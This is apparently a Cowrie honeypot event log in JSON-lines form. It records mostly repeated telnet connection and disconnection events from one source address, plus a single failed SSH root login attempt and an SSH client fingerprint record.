{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48372,"dst_ip":"159.203.135.109","dst_port":23,"session":"a59e18331680","protocol":"telnet","message":"New connection: 162.55.233.176:48372 (159.203.135.109:23) [session: a59e18331680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:22.307483Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48462,"dst_ip":"159.203.135.109","dst_port":23,"session":"373822f22cab","protocol":"telnet","message":"New connection: 162.55.233.176:48462 (159.203.135.109:23) [session: 373822f22cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:22.537805Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48568,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb9374bc85d1","protocol":"telnet","message":"New connection: 162.55.233.176:48568 (159.203.135.109:23) [session: cb9374bc85d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:22.777495Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40938,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e631d156ae0","protocol":"telnet","message":"New connection: 162.55.233.176:40938 (159.203.135.109:23) [session: 6e631d156ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:23.313074Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40942,"dst_ip":"159.203.135.109","dst_port":23,"session":"0196f44f148c","protocol":"telnet","message":"New connection: 162.55.233.176:40942 (159.203.135.109:23) [session: 0196f44f148c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:23.446222Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40950,"dst_ip":"159.203.135.109","dst_port":23,"session":"94eec84fbfe6","protocol":"telnet","message":"New connection: 162.55.233.176:40950 (159.203.135.109:23) [session: 94eec84fbfe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:23.728749Z"}
{"eventid":"cowrie.session.closed","duration":37.528501987457275,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:24.005886Z","src_ip":"162.55.233.176","session":"b5e6e84b7d5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.42.235.107","src_port":60910,"dst_ip":"159.203.135.109","dst_port":23,"session":"742866d779f0","protocol":"telnet","message":"New connection: 177.42.235.107:60910 (159.203.135.109:23) [session: 742866d779f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:24.012978Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40952,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd218911f782","protocol":"telnet","message":"New connection: 162.55.233.176:40952 (159.203.135.109:23) [session: bd218911f782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:24.053870Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40958,"dst_ip":"159.203.135.109","dst_port":23,"session":"d45f4605e326","protocol":"telnet","message":"New connection: 162.55.233.176:40958 (159.203.135.109:23) [session: d45f4605e326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:24.285892Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40960,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e14cccaf248","protocol":"telnet","message":"New connection: 162.55.233.176:40960 (159.203.135.109:23) [session: 7e14cccaf248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:24.305177Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40966,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdd516ff2f49","protocol":"telnet","message":"New connection: 162.55.233.176:40966 (159.203.135.109:23) [session: cdd516ff2f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:24.464588Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40974,"dst_ip":"159.203.135.109","dst_port":23,"session":"3429749f560c","protocol":"telnet","message":"New connection: 162.55.233.176:40974 (159.203.135.109:23) [session: 3429749f560c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:24.638599Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40980,"dst_ip":"159.203.135.109","dst_port":23,"session":"68207b2dcf16","protocol":"telnet","message":"New connection: 162.55.233.176:40980 (159.203.135.109:23) [session: 68207b2dcf16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:24.821538Z"}
{"eventid":"cowrie.session.closed","duration":31.945526599884033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:24.997307Z","src_ip":"162.55.233.176","session":"cdf8f86f9600","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.639976263046265,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:25.213304Z","src_ip":"162.55.233.176","session":"f859890ccae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.959808826446533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:25.658106Z","src_ip":"162.55.233.176","session":"81a86d7f9e04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.18193078041077,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:25.738262Z","src_ip":"162.55.233.176","session":"eb57c515d8ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40986,"dst_ip":"159.203.135.109","dst_port":23,"session":"859122250aa8","protocol":"telnet","message":"New connection: 162.55.233.176:40986 (159.203.135.109:23) [session: 859122250aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:25.989492Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40992,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7099cba37c5","protocol":"telnet","message":"New connection: 162.55.233.176:40992 (159.203.135.109:23) [session: f7099cba37c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:26.337331Z"}
{"eventid":"cowrie.session.closed","duration":35.88985252380371,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:26.501498Z","src_ip":"162.55.233.176","session":"85f96f74c7e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.66044068336487,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:26.506314Z","src_ip":"188.208.141.113","session":"76070f5c459a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41000,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbfdfebd6129","protocol":"telnet","message":"New connection: 162.55.233.176:41000 (159.203.135.109:23) [session: cbfdfebd6129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:26.540301Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41012,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5b035d0329c","protocol":"telnet","message":"New connection: 162.55.233.176:41012 (159.203.135.109:23) [session: b5b035d0329c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:26.948578Z"}
{"eventid":"cowrie.session.closed","duration":43.993489265441895,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:27.343337Z","src_ip":"162.55.233.176","session":"1b1330e6637f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41026,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe2ab27f6f93","protocol":"telnet","message":"New connection: 162.55.233.176:41026 (159.203.135.109:23) [session: fe2ab27f6f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:27.573315Z"}
{"eventid":"cowrie.session.closed","duration":31.448356866836548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:28.008807Z","src_ip":"162.55.233.176","session":"1ff24e3efbff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.105632781982422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:28.022677Z","src_ip":"162.55.233.176","session":"1547e175363f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.38711166381836,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:28.039400Z","src_ip":"162.55.233.176","session":"50dd51a9a25a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58804,"dst_ip":"10.17.0.5","dst_port":23,"session":"8381a5ebad6f","protocol":"telnet","message":"New connection: 206.189.32.23:58804 (10.17.0.5:23) [session: 8381a5ebad6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:28.245245Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"VkCdn123","message":"login attempt [root/VkCdn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:28.554001Z","src_ip":"213.209.159.158","session":"ba6dc0405403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41030,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e666a91a519","protocol":"telnet","message":"New connection: 162.55.233.176:41030 (159.203.135.109:23) [session: 6e666a91a519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:28.584750Z"}
{"eventid":"cowrie.session.closed","duration":32.29627466201782,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:28.667031Z","src_ip":"162.55.233.176","session":"7b691a8077f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41046,"dst_ip":"159.203.135.109","dst_port":23,"session":"557c6156ba3e","protocol":"telnet","message":"New connection: 162.55.233.176:41046 (159.203.135.109:23) [session: 557c6156ba3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:28.706174Z"}
{"eventid":"cowrie.session.closed","duration":31.180705308914185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:28.824192Z","src_ip":"162.55.233.176","session":"c679c64516d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.477290391921997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:29.002279Z","src_ip":"162.55.233.176","session":"7a38623cdf61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.978041887283325,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:29.376611Z","src_ip":"188.208.141.113","session":"d646599aac99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.42285084724426,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:29.751707Z","src_ip":"162.55.233.176","session":"4a076e567361","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41060,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8d994b36631","protocol":"telnet","message":"New connection: 162.55.233.176:41060 (159.203.135.109:23) [session: d8d994b36631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:29.780529Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41066,"dst_ip":"159.203.135.109","dst_port":23,"session":"7747e85109fd","protocol":"telnet","message":"New connection: 162.55.233.176:41066 (159.203.135.109:23) [session: 7747e85109fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:29.821262Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41078,"dst_ip":"159.203.135.109","dst_port":23,"session":"14587fe73efc","protocol":"telnet","message":"New connection: 162.55.233.176:41078 (159.203.135.109:23) [session: 14587fe73efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:29.876319Z"}
{"eventid":"cowrie.session.closed","duration":33.24891471862793,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:29.914626Z","src_ip":"162.55.233.176","session":"d63542d5c662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.347612619400024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:29.996340Z","src_ip":"162.55.233.176","session":"7a9da9ce56bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.406646728515625,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:30.019906Z","src_ip":"162.55.233.176","session":"ed55916b3d08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.273537158966064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:30.103582Z","src_ip":"162.55.233.176","session":"4bc7cc81439d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41080,"dst_ip":"159.203.135.109","dst_port":23,"session":"d054fe081845","protocol":"telnet","message":"New connection: 162.55.233.176:41080 (159.203.135.109:23) [session: d054fe081845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:30.132987Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41090,"dst_ip":"159.203.135.109","dst_port":23,"session":"6938fba643b5","protocol":"telnet","message":"New connection: 162.55.233.176:41090 (159.203.135.109:23) [session: 6938fba643b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:30.338614Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41092,"dst_ip":"159.203.135.109","dst_port":23,"session":"f46721c53a35","protocol":"telnet","message":"New connection: 162.55.233.176:41092 (159.203.135.109:23) [session: f46721c53a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:30.996946Z"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:31.166931Z","src_ip":"213.209.159.158","session":"ba6dc0405403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":23340,"dst_ip":"10.17.0.5","dst_port":22,"session":"c66dc95c6687","protocol":"ssh","message":"New connection: 213.209.159.158:23340 (10.17.0.5:22) [session: c66dc95c6687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:31.269777Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41104,"dst_ip":"159.203.135.109","dst_port":23,"session":"c876a6ad32e7","protocol":"telnet","message":"New connection: 162.55.233.176:41104 (159.203.135.109:23) [session: c876a6ad32e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:31.286215Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41120,"dst_ip":"159.203.135.109","dst_port":23,"session":"335ef32f63b2","protocol":"telnet","message":"New connection: 162.55.233.176:41120 (159.203.135.109:23) [session: 335ef32f63b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:31.435070Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41136,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b2ff3ced803","protocol":"telnet","message":"New connection: 162.55.233.176:41136 (159.203.135.109:23) [session: 1b2ff3ced803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:31.582610Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41146,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b5fa52b240e","protocol":"telnet","message":"New connection: 162.55.233.176:41146 (159.203.135.109:23) [session: 8b5fa52b240e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:31.751428Z"}
{"eventid":"cowrie.session.closed","duration":34.11337494850159,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:31.904668Z","src_ip":"162.55.233.176","session":"c7c035449d49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41156,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5be54144766","protocol":"telnet","message":"New connection: 162.55.233.176:41156 (159.203.135.109:23) [session: f5be54144766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:32.328912Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41134,"dst_ip":"159.203.135.109","dst_port":23,"session":"5510af34d741","protocol":"telnet","message":"New connection: 162.55.233.176:41134 (159.203.135.109:23) [session: 5510af34d741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:32.459790Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41170,"dst_ip":"159.203.135.109","dst_port":23,"session":"7457f370f83f","protocol":"telnet","message":"New connection: 162.55.233.176:41170 (159.203.135.109:23) [session: 7457f370f83f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:32.529416Z"}
{"eventid":"cowrie.session.closed","duration":31.302406787872314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:32.709232Z","src_ip":"162.55.233.176","session":"95083ac130b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41184,"dst_ip":"159.203.135.109","dst_port":23,"session":"9baf737094de","protocol":"telnet","message":"New connection: 162.55.233.176:41184 (159.203.135.109:23) [session: 9baf737094de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:32.758030Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33768,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e7d868a5dd9","protocol":"telnet","message":"New connection: 162.55.233.176:33768 (159.203.135.109:23) [session: 1e7d868a5dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:33.023966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:33.206014Z","src_ip":"213.209.159.158","session":"c66dc95c6687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:33.209306Z","src_ip":"213.209.159.158","session":"c66dc95c6687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33560,"dst_ip":"10.17.0.5","dst_port":23,"session":"e10f9e73a1a6","protocol":"telnet","message":"New connection: 206.189.32.23:33560 (10.17.0.5:23) [session: e10f9e73a1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:33.274270Z"}
{"eventid":"cowrie.session.closed","duration":31.48092246055603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:33.319929Z","src_ip":"162.55.233.176","session":"cefd0948adc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33784,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0844bd30658","protocol":"telnet","message":"New connection: 162.55.233.176:33784 (159.203.135.109:23) [session: e0844bd30658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:33.464624Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33764,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a224c5fa685","protocol":"telnet","message":"New connection: 162.55.233.176:33764 (159.203.135.109:23) [session: 3a224c5fa685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:33.931734Z"}
{"eventid":"cowrie.session.closed","duration":35.974228382110596,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:34.033402Z","src_ip":"162.55.233.176","session":"448eae43866b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.452890396118164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:34.400884Z","src_ip":"162.55.233.176","session":"bae619613bee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.54399394989014,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:34.539733Z","src_ip":"162.55.233.176","session":"fa199ef0e70e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.11892771720886,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:34.583888Z","src_ip":"162.55.233.176","session":"6bb2d5eed2d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.634284734725952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:34.657994Z","src_ip":"162.55.233.176","session":"6f8ad7cfc56e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33794,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d36895dc696","protocol":"telnet","message":"New connection: 162.55.233.176:33794 (159.203.135.109:23) [session: 4d36895dc696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:34.755019Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33804,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0fc83e67677","protocol":"telnet","message":"New connection: 162.55.233.176:33804 (159.203.135.109:23) [session: b0fc83e67677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:34.774960Z"}
{"eventid":"cowrie.session.closed","duration":30.901842832565308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:34.822283Z","src_ip":"162.55.233.176","session":"3e1bf7397116","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.66584062576294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:34.843106Z","src_ip":"162.55.233.176","session":"1f93b1782c69","protocol":"telnet"}
